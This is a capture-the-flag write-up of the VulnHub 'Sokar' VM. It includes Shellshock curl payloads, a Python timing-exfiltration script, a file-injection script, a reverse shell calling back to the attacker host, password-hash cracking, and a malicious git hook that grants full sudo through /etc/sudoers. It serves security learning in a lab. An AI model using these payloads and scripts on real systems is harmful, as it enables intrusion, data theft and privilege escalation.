Tag Archives: python

Sokar: VulnHub anniversary competition

VulnHub just turned two, and to celebrate, they held a three week competition. The subject is Rasta Mouse‘s challenging VM, Sokar, which features multiple interesting and very recent vulnerabilities.

The challenge took me quite a few hours; much longer than the three hours that someone reportedly finished under. However, I did some interesting things, so please read on if you are interested Python scripting, time-delay based exfiltration, file injection through unusual channels, memory forensics, password cracking, and how a client application (Git) can badly bite you in the butt.

Initial scanning

It’s usually pretty safe to get heavy handed with a new VM; no administrators are watching and it’s usually the quickest way to find the attack vectors…

root@worry64:~/sokar# nmap -sn 192.168.13.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-17 20:02 GMT
Nmap scan report for 192.168.13.184
Host is up (0.00025s latency).
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Nmap scan report for worry64 (192.168.13.134)
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.63 seconds
root@worry64:~/sokar# nmap -T4 -p- 192.168.13.184

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-17 20:07 GMT
Nmap scan report for 192.168.13.184
Host is up (0.00072s latency).
Not shown: 65534 filtered ports
PORT    STATE SERVICE
591/tcp open  http-alt
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 140.50 seconds

OK, so we’ve got one lonely port, and this is what it’s showing…Selection_010

There’s nothing particularly exploitable looking about the page. It takes no user input, and it appears to be presenting pretty static information. When refreshing, the contents (a list of connections output from netstat) do not update automatically; instead they are updated periodically, probably by some cron job on the server.

The page contains an iframe which executes /cgi-bin/cat on the server but, as the name suggests, this is probably just outputting a specific file on the server that we have no control over.

My first thought at this stage was, if this is exploitable, and it takes no user input, and it’s a CGI, then it’s probably a Shellshock vulnerability (Bashbug’s a far better name though).

I sent a test the server’s way to see if I could get execution.

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo "Alright!"' http://192.168.13.184:591/cgi-bin/cat
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>

Well, that’s a bit of a bummer. Am I getting commands to be executed or not? I need a time based test:

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; /bin/sleep 5' http://192.168.13.184:591/cgi-bin/cat
.................
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>

A delay;  great! I’m definitely executing commands on the server (note that the absolute path needs to be used), but I can’t figure out how to get data returned.

This is where I might have previously given up, but after writing an ICMP exfiltration script for Persistence last year, I decided to write a program to exfiltrate data from the server using time delays.

The conspicuous machine gun timing script

Later on I found out that I didn’t really need to do all of this, so this might make me look a bit stupid, but I definitely think I get some points for style here.

Here’s the script – exfil.py – which will exfiltrate the response of an arbitrary command on Sokar using repeated queries and delays to slowly drip out the data at about 10 bits per second. =) (Note that you may need to tweak the parameter exfil_delay to suit your network latency and VM performance. Higher is more accurate and reliable, but obviously slower.)

#!/usr/bin/python

import time
import os
import sys

url = 'http://192.168.13.184:591/cgi-bin/cat'
exfil_command = sys.argv[1]
exfil_delay = 0.1
exfil_string = ''
exfil_char = ''
exfil_char_count = 0

def time_command(check):
    global exfil_char_count, exfil_delay, exfil_command
    start_time = time.time()
    py_command = '/usr/bin/python -c \"import time;import os;c = %d;s = %f;out = os.popen('%s').read();%s\"' % (exfil_char_count, exfil_delay, exfil_command, check)
    curl_command = 'curl -H "User-Agent: () { :; }; %s" %s > /dev/null 2> /dev/null' % (py_command, url)
    os.system(curl_command)
    run_time = time.time() - start_time
    return run_time

def run_command(check):
    return (time_command(check) > exfil_delay)

while True:
    # Check if at end of string or not.
    check = 's = s if c >= len(out) else 0.0;time.sleep(s)'
    if run_command(check):
        # End of string?
        print(exfil_string)
        fin = raw_input('Does output look complete?: ')
        if fin == 'y':
            break
        else:
            continue

    lower = 0
    upper = 128
    while True:
        middle = lower + (upper-lower)/2
        check = 'cord = ord(out[c]);s = s if cord > %d else 0.0;time.sleep(s)' % middle
        result = run_command(check)
        if middle == lower:
            if result:
                exfil_string += str(unichr(middle+1))
            else:
                exfil_string += str(unichr(middle))
            break;
        elif result:
            lower = middle + 1
        else:
            upper = middle

    # End of character placement loop
    exfil_char_count += 1

And here’s the output:

root@worry64:~/sokar# time ./exfil.py "ls -la"
total 12
drxxr-xr-x. 2 ropt root 4096 Jan 45 11:34 .
drwxr-xr-x. 5 root root 4096 Nqv 15 12:09 ..
-rwxr-xr-x  1 root root  169 Jan 25 11:33 cat

Does output look complete?: y

real	1m36.470s
user	0m3.464s
sys	0m3.520s

Not very fast and also contains some errors. 2 minutes to get a short directory listing. Pretty fun though. Of course, a network with an IPS or an observant administrator would probably shutdown the server before I could get any further.

So I went on my merry way, getting directory listings at a very slow rate as the apache web server process, until I found my next clue.

(It’s worth also stating here that this exfiltration script will only for for information that remains static. Getting a directory listing of a directory that was rapidly changing, or a file that was changing, would require script modifications.)

The scarequote to end all wars

There are two users on the server: bynarr and apophis. The former’s home directory is open to other users…

root@worry64:~/sokar# ./exfil.py "ls -l /home/bynarr/"
total 16
-rwxr-xr-x 1 root root   368 Jan 27 19:14 lime
-rw------- 1 root root 13IA8 Nov 13 11:45 lime.ko

lime is script that I have execute access to. I decided to run this to see what it is, and I was surprised to find that without my exfiltration script it will output data over Bashbug:

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; /home/bynarr/lime' http://192.168.13.184:591/cgi-bin/cat
==========================
Linux Memory Extractorator
==========================

LKM, add or remove?
> Invalid input, burn in the fires of Netu!

I exfiltrated the contents of the script to find out what was special about it. Turns out that it echoes a single double-quote at the start.

root@worry64:~/sokar# ./exfil.py "cat /home/bynarr/lime"
#!/bin/bash
echo """
==========================
Linux Memory Extractorator
==========================
"
<snip>

Is this a quirk of Bashbug that everyone knows except me? Perhaps; this is the first time I’ve exploited it. Anyway, it means I can throw away the script and just use curl again which is far quicker; all I need to do is output a double-quote before all commands I need output from.

The unbearable lightness of Bynarr

I proceeded with further information gathering at faster speed, until I found that bynarr‘s email is readable and provides some clues…

root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo """"; export PATH=/bin:/sbin:/usr/bin; cat /var/spool/mail/bynarr' http://192.168.13.184:591/cgi-bin/cat
Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received:  from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.

UID 500 (bynarr)
GID 500 (bynarr)
    501 (forensic)

Password 'fruity'.  Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

All the best in your new role!

  -Sokar-

This is actually really great news, as I had already been attempting to gain a reverse shell from the server under the apache user, but all network communications appear to be blocked. This is evidence that a network connection can be made by bynarr over TCP port 51242. Though, did they mean source or destination port? (Answer to come later.)

Uploading arbitrary files

Before trying to mess around with reverse TCP connections, I decided to make a script that would allow me to inject files onto the server. Here’s inject.py for your pleasure:

#!/usr/bin/python

import time
import os
import sys

url = 'http://192.168.13.184:591/cgi-bin/cat'
inject_file = sys.argv[1]
os.system('cp -f %s /tmp/inject' % (inject_file))
inject_file = os.path.basename(inject_file)
os.system('gzip -f /tmp/inject')
base64 = os.popen('base64 -w 0 /tmp/inject.gz').read()
append = '>'
pos = 0
chunk_size = 50

while pos < len(base64):
    end = pos + chunk_size
    if end > len(base64):
        end = len(base64)
    chunk = base64[pos:end]
    os.system("curl -H 'User-Agent: () { :; }; echo "%s" %s /tmp/inject.b64 ' %s > /dev/null 2> /dev/null " % (chunk, append, url))
    append = '>>'
    pos += chunk_size

os.system('curl -H "User-Agent: () { :; }; export PATH=/bin:/sbin:/usr/bin; base64 -d /tmp/inject.b64 > /tmp/inject.gz " %s > /dev/null 2> /dev/null ' % (url))
os.system('curl -H "User-Agent: () { :; }; export PATH=/bin:/sbin:/usr/bin; gunzip /tmp/inject.gz " %s > /dev/null 2> /dev/null ' % (url))
os.system('curl -H "User-Agent: () { :; }; export PATH=/bin:/sbin:/usr/bin; mv /tmp/inject /tmp/%s" %s > /dev/null 2> /dev/null ' % (inject_file, url))

This script will take any file as an argument and place it in the /tmp/ directory of Sokar, using multiple 50-Base64-byte chunks.

Getting an interactive shell

Things we need:

  • A reverse shell:
    import socket,subprocess,os,sys
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(1)
    s.bind(('',4444))
    s.connect(( '192.168.13.134', 51242 ))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(['/bin/sh','-i'])
  • The ability to run commands as bynarr. For this we will use pexpect, which we will inject onto the server
  • A script to interact with pexpect, allowing us to su to bynarr and execute the reverse shell:
    import pexpect
    import time
    
    child = pexpect.spawn('su - bynarr')
    child.expect('Password:')
    child.sendline('fruity')
    child.expect('$')
    child.sendline('python /tmp/reverse_shell.py')
    child.expect('$')
    child.sendline('echo ok')
    while True:
        time.sleep(60)

(By the way, this answers the earlier question about whether TCP 51242 is the source or destination port. I discovered through trial and error that from Sokar’s perspective TCP 51242 must be the destination. I think, therefore, root was being a bit disingenuous when using the word ephemeral which would usually imply what the source port should be. =))

All three of the above files are uploaded to the server and run (once we make sure that we have a waiting socket on the attacking machine to accept connections!).

root@worry64:~/sokar# ./inject.py /usr/lib/python2.6/dist-packages/pexpect.py
root@worry64:~/sokar# ./inject.py reverse_shell.py
root@worry64:~/sokar# ./inject.py execute_shell.py
root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo """"; cd /tmp; /usr/bin/python execute_shell.py' http://192.168.13.184:591/cgi-bin/cat

Ta da! Got a connection. (I check the id and improve the shell I’ve given quickly:

root@worry64:~/sokar# ncat -nlvp 51242
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::51242
Ncat: Listening on 0.0.0.0:51242
Ncat: Connection from 192.168.13.184.
Ncat: Connection from 192.168.13.184:4444.
sh-4.1$ id
id
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[bynarr@sokar ~]$

The Limey

With the interactive shell, we revisit the lime script in /home/bynarr. The script allows the loading or unloading of a kernel module called lime.so:

#!/bin/bash
echo """
==========================
Linux Memory Extractorator
==========================
"
echo "LKM, add or remove?"
echo -en "> "

read -e input

if [ $input == "add" ]; then

	/sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw"

elif [ $input == "remove" ]; then

	/sbin/rmmod lime

else

	echo "Invalid input, burn in the fires of Netu!"

fi

Execution of insmod is usually restricted to root, but we can suspect that if it’s been placed there by root then bynarr’s been given sudo rights to run it.

[bynarr@sokar ~]$ sudo -l
sudo -l
Matching Defaults entries for bynarr on this host:
    !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin:/bin:/usr/sbin:/usr/bin

User bynarr may run the following commands on this host:
    (ALL) NOPASSWD: /home/bynarr/lime
[bynarr@sokar ~]$ sudo /home/bynarr/lime
sudo /home/bynarr/lime

==========================
Linux Memory Extractorator
==========================

LKM, add or remove?
> add
add
[bynarr@sokar ~]$

Doing some research on LiME reveals that it’s a forensics kernel module that allows extraction of the entire contents of system memory. Fantastic. This creates a 256MB file at /tmp/ram which I need to get off the server for offline analysis.

We’re already using the only IPv4 port that can allegedly be used for connections, and 256MB is too much to dump to the terminal in Base64 encoding. I could kill my connection and upgrade to a Meterpreter shell, but I’d rather keep my tool use to a minimum.

The choice of a new generation

I noticed earlier that Sokar has IPv6 enabled:

[bynarr@sokar ~]$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 08:00:27:f2:40:db brd ff:ff:ff:ff:ff:ff
    inet 192.168.13.184/24 brd 192.168.13.255 scope global eth0
    inet6 fe80::a00:27ff:fef2:40db/64 scope link
       valid_lft forever preferred_lft forever

What are the chances that the administrator didn’t take the same precautions about IPv6 connections that were taken for IPv4? I ping my attacking machine from the victim:

[bynarr@sokar ~]$ ping6 -c 1 fe80::20c:29ff:fe05:9901%eth0
ping6 -c 1 fe80::20c:29ff:fe05:9901%eth0
PING fe80::20c:29ff:fe05:9901%eth0(fe80::20c:29ff:fe05:9901) 56 data bytes
64 bytes from fe80::20c:29ff:fe05:9901: icmp_seq=1 ttl=64 time=0.682 ms

--- fe80::20c:29ff:fe05:9901%eth0 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.682/0.682/0.682/0.000 ms

Looks promising. I’ll just upload ftp (it’s not on the server):

root@worry64:~/sokar# ./inject.py /usr/bin/ftp
root@worry64:~/sokar# curl -H 'User-Agent: () { :; }; echo """"; /bin/chmod 755 /tmp/ftp; ' http://192.168.13.184:591/cgi-bin/cat

And then upload the file for analysis from Sokar:

[bynarr@sokar ~]$ cd /tmp/
cd /tmp/
[bynarr@sokar tmp]$ ./ftp fe80::20c:29ff:fe05:9901%eth0
./ftp fe80::20c:29ff:fe05:9901%eth0
Connected to fe80::20c:29ff:fe05:9901%eth0.
220 (vsFTPd 2.3.5)
Name (fe80::20c:29ff:fe05:9901%eth0:bynarr): electric
electric
331 Please specify the password.
Password:********

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
passive
Passive mode on.
ftp> put ram
put ram
local: ram remote: ram
229 Entering Extended Passive Mode (|||43524|).
150 Ok to send data.
226 Transfer complete.
267909120 bytes sent in 4.99 secs (52420.7 kB/s)
ftp>

Memory hunting

There’s a lot of information to trawl through in the RAM dump (have a look if you don’t believe me).

Having already wandered around the server quite a bit by this point – and having found that everything felt quite secure (i.e. no services to exploit, no misconfigurations, no vulnerable kernel) – I was convinced that it was actually just password hashes that were needed and that the next target was either the apophis user or root directly.

Opening up ram in hexedit and performing some searches (e.g. ‘shadow’, ‘passwd’, ‘password’) provided many many results, but a search for ‘apophis’ yielded the fastest return with a copy of the /etc/shadow file:

Selection_011

I added the hashes to a file and ran john against them using the RockYou password list. After not very long, I got the password for apophis:

root@worry64:~/sokar# john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 3 password hashes with 3 different salts (sha512crypt [64/64])
fruity           (bynarr)
overdrive        (apophis)
guesses: 2  time: 0:00:01:37 0.23% (ETA: Thu Feb 19 08:34:35 2015)  c/s: 846  trying: ellah - daneil
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

BOOM! Let’s have a look what’s in apophis’s home:

[bynarr@sokar tmp]$ su apophis -
su apophis -
Password: overdrive

[apophis@sokar tmp]$ cd
cd
[apophis@sokar ~]$ ls -la
ls -la
total 32
drwx------  2 apophis apophis 4096 Jan  2 20:12 .
drwxr-xr-x. 4 root    root    4096 Dec 30 19:20 ..
-rw-------  1 apophis apophis    0 Jan 15 21:15 .bash_history
-rw-r--r--  1 apophis apophis   18 Feb 21  2013 .bash_logout
-rw-r--r--  1 apophis apophis  176 Feb 21  2013 .bash_profile
-rw-r--r--  1 apophis apophis  124 Feb 21  2013 .bashrc
-rwsr-sr-x  1 root    root    8430 Jan  2 17:49 build
[apophis@sokar ~]$ file build
file build
build: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
ssh: Could not resolve hostname sokar-dev: Name or service not known
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
[apophis@sokar ~]$

Ok, we’ve got an ELF executable, which is run as root, and which appears to be trying to access another server called sokar-dev.

What’s he building in there?

Taking a copy of build off the server to disassemble reveals that the main purpose of the executable is encrypted. However, by debugging the program, we can discover quite easily what it’s doing:

This tells us that the script gets root to execute:

/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/

It’s not immediately clear how this could help, as cloning a repository is a safe routine. If it wasn’t, then there would be hundreds of nefarious projects tricking people into executing exploitative code, right?

But I had a niggling doubt, so I decided to check the CVE database for git vulnerabilities, bearing in mind that Sokar has git version 2.2.0.

Well it turns out that Git 2.2.0 has a vulnerability. The CVE appears to be undetailed as of writing, but it’s been publicised elsewhere since 18th December.

You git

Essentially, if a user checks out a nefarious repository with Git version 2.2.0 it is possible for an attacker to get arbitrary command execution. This only affects case insensitive file systems, so Linux should really be safe. However, the location where we’re going to be checking out to – /mnt/secret-project/ – is on a vfat volume, which is case insensitive:

[apophis@sokar ~]$ mount
mount
/dev/sda1 on / type ext4 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)

The end is in sight. First we need to get Sokar to recognise our attacking machine as sokar-dev. As luck would have it, /etc/resolv.conf is world writeable!

[apophis@sokar ~]$ ls -l /etc/resolv.conf
ls -l /etc/resolv.conf
-rw-rw-rw- 1 root root 19 Jan  2 20:12 /etc/resolv.conf
[apophis@sokar ~]$ cat /etc/resolv.conf
cat /etc/resolv.conf
nameserver 8.8.8.8
[apophis@sokar ~]$ echo "nameserver fe80::20c:29ff:fe05:9901%eth0" > /etc/resolv.conf
<meserver fe80::20c:29ff:fe05:9901%eth0" > /etc/resolv.conf

We add a DNS zone file to BIND on the attacking machine, and of course we get sokar-dev to resolve to us. I’ll provide both IPv4 and IPv6 addresses just in case the administrator opened the IPv4 firewall just for this purpose. (Although, I’m pretty sure that IPv6 wouldn’t work anyway as the addresses we have are only local-link addresses and the interface/scopeId would need to be specified in the git command.)

;
; BIND data file for sokar
;
$TTL	604800
@	IN	SOA	sokar-dev. root.localhost. (
			      2		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			 604800 )	; Negative Cache TTL
;
@	IN	NS	sokar-dev.
@	IN	A	192.168.13.134
@	IN	AAAA	fe80::20c:29ff:fe05:9901

An evil repository

The git clone command is vulnerable because we are able to take control of the user’s git configuration. The simplest way to abuse that is to create a post-checkout hook that the user never made that will execute an arbitrary command.

The command we will run is:

printf "napophis ALL=(ALL:ALL) ALLn" >> /etc/sudoers

i.e. add full sudo privileges for user apophis.

To do so, we create an evil repository with a post-checkout hook in the .GIT/HOOKS directory.

To show the creation of a bad repository, I’ve made a quick video. The working location is root‘s home directory on the attacking machine; that is the location that the victim’s root user is going to connect to to retrieve the repository.

Privilege elevation

All that leaves is to clone the the repository, which will in turn checkout the HEAD revision, write a hook to .git/hooks/post-checkout, and execute it…

[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
The authenticity of host 'sokar-dev (192.168.13.134)' can't be established.
RSA key fingerprint is 70:94:9a:cf:85:31:92:e8:34:c8:9c:ed:3a:79:ed:a5.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added 'sokar-dev,192.168.13.134' (RSA) to the list of known hosts.
root@sokar-dev's password: ********

remote: Counting objects: 5, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 5 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (5/5), done.
Checking connectivity... done.
[apophis@sokar ~]$ sudo su -
sudo su -
[sudo] password for apophis: overdrive

[root@sokar ~]# ls -l
ls -l
total 8
-rw-r--r-- 1 root root 678 Jan  2 17:21 build.c
-rw-r--r-- 1 root root 837 Jan 15 21:14 flag
[root@sokar ~]# cat flag
cat flag
                0   0
                |   |
            ____|___|____
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
      ___|__|___________|___|__
      |////////////|
  0   |    B i r t h d a y    |   0
  |   |////////////|   |
 _|___|_______________________|___|__
|//////////////////|
|                                   |
|     V  u  l  n  H  u  b   ! !     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|

=====================================
| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse (@_RastaMouse)     |
=====================================
[root@sokar ~]#

Iptables

Just for completeness, here’s the iptables configuration that prevented all connections except bynarr‘s outgoing connections to destination TCP port 51242, root‘s outbound SSH connections to sokar-dev, and the server’s outbound DNS queries.

[root@sokar ~]# iptables-save
iptables-save
# Generated by iptables-save v1.4.7 on Wed Feb 18 21:15:22 2015
*filter
:INPUT ACCEPT [285:33635]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j DROP
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m state --state ESTABLISHED -m tcp --sport 22 -j ACCEPT
-A INPUT -p tcp -m state --state NEW,ESTABLISHED -m tcp --dport 591 -j ACCEPT
-A INPUT -p udp -m udp --sport 53 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED -m owner --uid-owner root -m tcp --dport 22 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -m owner --uid-owner root -j ACCEPT
-A OUTPUT -p tcp -m state --state ESTABLISHED -m tcp --sport 591 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED -m owner --gid-owner bynarr -m tcp --dport 51242 -j ACCEPT
-A OUTPUT -j DROP
COMMIT
# Completed on Wed Feb 18 21:15:22 2015

Conclusion

This was a great challenge.  There were lots of steps covering many unrelated areas and it didn’t feel contrived. After my last big challenge which mainly concentrated on binary exploitation, it was nice to attack a machine that was mainly vulnerable through tools and configuration. It’s close in spirit to the machines in the Offensive Security‘s PWK course.

It would have been nice if there had been an additional step required to modify /etc/resolv.conf; that was the only bit that felt a little unlikely. However, despite that it still proved to be very time consuming and frustrating (in a good way) and I highly recommend others to try it even now that the competition has closed.

Thanks again to Rasta Mouse and g0tmi1k from VulnHub for the great work on this. Please feel free to leave any comments or questions.